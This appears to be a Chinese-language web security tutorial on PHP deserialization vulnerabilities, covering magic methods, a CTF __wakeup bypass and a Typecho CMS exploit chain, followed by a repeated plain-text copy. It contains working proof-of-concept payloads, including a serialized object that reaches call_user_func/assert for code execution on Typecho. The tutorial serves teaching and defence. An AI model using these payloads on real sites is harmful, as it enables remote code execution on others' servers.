[红日安全]Web安全Day15 - 反序列化实战攻防
字数 1290 2025-08-25 22:58:55

Web安全Day15 - 反序列化实战攻防

漏洞简介

1.1 什么是反序列化漏洞

反序列化漏洞是利用程序已有的一些函数在参数中注入一些代码,达到代码执行的效果。

1.2 漏洞危害

攻击者可以利用反序列化漏洞,通过构造恶意请求报文远程执行命令,危害较大。

漏洞原理

2.1 序列化与反序列化

2.1.1 序列化

序列化是将一个类压缩成一个字符串的方法。以PHP为例,序列化后的字符串包含类名称和类内属性键值对,但不包含类方法。

示例PHP代码:

class userInfo {
    private $passwd = 'weak';
    protected $sex = 'male';
    public $name = 'ama666';
    
    public function modifyPasswd($passwd) {
        $this->passwd = $passwd;
    }
}

$ama666 = new userInfo();
$ama666->modifyPasswd('strong');
$data = serialize($ama666);
echo $data;

输出结果:

O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"ama666";}

不同权限属性的表示方式:

  • private:前面加上本类名称
  • protected:前面加星号(*)
  • public:无前缀

2.1.2 反序列化

反序列化是将含有类信息的序列化字符串还原成类。反序列化的类要使用原先的类方法必须依托于域,脱离了域的反序列化类无法调用序列化之前的类方法。

2.2 PHP魔法函数

PHP魔法方法可以在特定情况下自动触发,是反序列化漏洞利用的关键。

2.2.1 __wakeup()

在反序列化时会先检查类中是否存在__wakeup()函数,如果存在则会先调用此方法。

2.2.2 __destruct()

当对象的所有引用都被删除或者类被销毁时自动调用。

2.2.3 __construct()

在创建一个类的实例时自动调用。

2.2.4 __toString()

当类被当作字符串时调用。触发场景包括:

  • 反序列化对象与字符串连接时
  • 反序列化对象参与格式化字符串时
  • 反序列化对象与字符串进行==比较时
  • 反序列化对象参与格式化SQL语句时
  • 反序列化对象经过php字符串函数时
  • 在in_array()方法中特定情况下
  • 作为class_exists()参数时

2.2.5 __get()

在读取不可访问的属性值时自动调用。

2.2.6 __call()

在调用未定义的方法时调用。

CTF中的反序列化

3.1 题目

class SoFun{ 
    protected $file='index.php';
    function __destruct(){ 
        if(!empty($this->file)) {
            if(strchr($this->file,"\\")===false && strchr($this->file, '/')===false)
                show_source(dirname(__FILE__).'/'.$this->file);
            else
                die('Wrong filename.');
        }  
    } 
    function __wakeup(){ 
        $this->file='index.php'; 
    } 
    public function __toString(){return '';}
}     
if (!isset($_GET['file'])) { 
    show_source('index.php'); 
} else { 
    $file=base64_decode($_GET['file']); 
    echo unserialize($file); 
}

3.2 解答

利用PHP反序列化的特性:当序列化字符串中表示对象属性个数的值大于实际属性个数时,会跳过__wakeup()方法的执行。

POC:

class SoFun{ 
    protected $file='flag.php';
}  
$poc = new SoFun;  
echo serialize($poc);

修改序列化字符串中表示属性个数的数字:

O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}

CMS实战(Typecho)

4.1 CMS介绍

Typecho是一款基于PHP5开发的轻量级开源博客程序。

4.2 漏洞成因

在install.php文件中调用了unserialize函数,传入参数通过Typecho_Cookie::get方法获取,未经过滤。

4.3 利用链分析

  1. 反序列化Typecho_Cookie类方法获得的变量(输入点)
  2. 实例化Typecho_Db,触发__construct魔法函数
  3. 在Typecho_Feed类中找到__toString魔法函数
  4. 在Typecho_Requests类中找到__get魔法函数
  5. 最终调用call_user_func函数实现命令执行

POC:

class Typecho_Feed{
    private $_type='ATOM 1.0';
    private $_items;
    public function __construct(){
        $this->_items = array(
            '0'=>array(
                'author'=> new Typecho_Request())
        );
    }
}

class Typecho_Request{
    private $_params = array('screenName'=>'phpinfo()');
    private $_filter = array('assert');
}
$poc = array(
    'adapter'=>new Typecho_Feed(),
    'prefix'=>'typecho');
echo base64_encode(serialize($poc));

防御方法

5.1 过滤用户输入

维护黑名单或白名单限制用户输入,过滤不合理、不符合程序逻辑的输入。

5.2 Java防御

参考Java反序列化漏洞修复方案。

Web安全Day15 - 反序列化实战攻防 漏洞简介 1.1 什么是反序列化漏洞 反序列化漏洞是利用程序已有的一些函数在参数中注入一些代码,达到代码执行的效果。 1.2 漏洞危害 攻击者可以利用反序列化漏洞,通过构造恶意请求报文远程执行命令,危害较大。 漏洞原理 2.1 序列化与反序列化 2.1.1 序列化 序列化是将一个类压缩成一个字符串的方法。以PHP为例,序列化后的字符串包含类名称和类内属性键值对,但不包含类方法。 示例PHP代码: 输出结果: 不同权限属性的表示方式: private:前面加上本类名称 protected:前面加星号(* ) public:无前缀 2.1.2 反序列化 反序列化是将含有类信息的序列化字符串还原成类。反序列化的类要使用原先的类方法必须依托于域,脱离了域的反序列化类无法调用序列化之前的类方法。 2.2 PHP魔法函数 PHP魔法方法可以在特定情况下自动触发,是反序列化漏洞利用的关键。 2.2.1 __ wakeup() 在反序列化时会先检查类中是否存在__ wakeup()函数,如果存在则会先调用此方法。 2.2.2 __ destruct() 当对象的所有引用都被删除或者类被销毁时自动调用。 2.2.3 __ construct() 在创建一个类的实例时自动调用。 2.2.4 __ toString() 当类被当作字符串时调用。触发场景包括: 反序列化对象与字符串连接时 反序列化对象参与格式化字符串时 反序列化对象与字符串进行==比较时 反序列化对象参与格式化SQL语句时 反序列化对象经过php字符串函数时 在in_ array()方法中特定情况下 作为class_ exists()参数时 2.2.5 __ get() 在读取不可访问的属性值时自动调用。 2.2.6 __ call() 在调用未定义的方法时调用。 CTF中的反序列化 3.1 题目 3.2 解答 利用PHP反序列化的特性:当序列化字符串中表示对象属性个数的值大于实际属性个数时,会跳过__ wakeup()方法的执行。 POC: 修改序列化字符串中表示属性个数的数字: CMS实战(Typecho) 4.1 CMS介绍 Typecho是一款基于PHP5开发的轻量级开源博客程序。 4.2 漏洞成因 在install.php文件中调用了unserialize函数,传入参数通过Typecho_ Cookie::get方法获取,未经过滤。 4.3 利用链分析 反序列化Typecho_ Cookie类方法获得的变量(输入点) 实例化Typecho_ Db,触发__ construct魔法函数 在Typecho_ Feed类中找到__ toString魔法函数 在Typecho_ Requests类中找到__ get魔法函数 最终调用call_ user_ func函数实现命令执行 POC: 防御方法 5.1 过滤用户输入 维护黑名单或白名单限制用户输入,过滤不合理、不符合程序逻辑的输入。 5.2 Java防御 参考Java反序列化漏洞修复方案。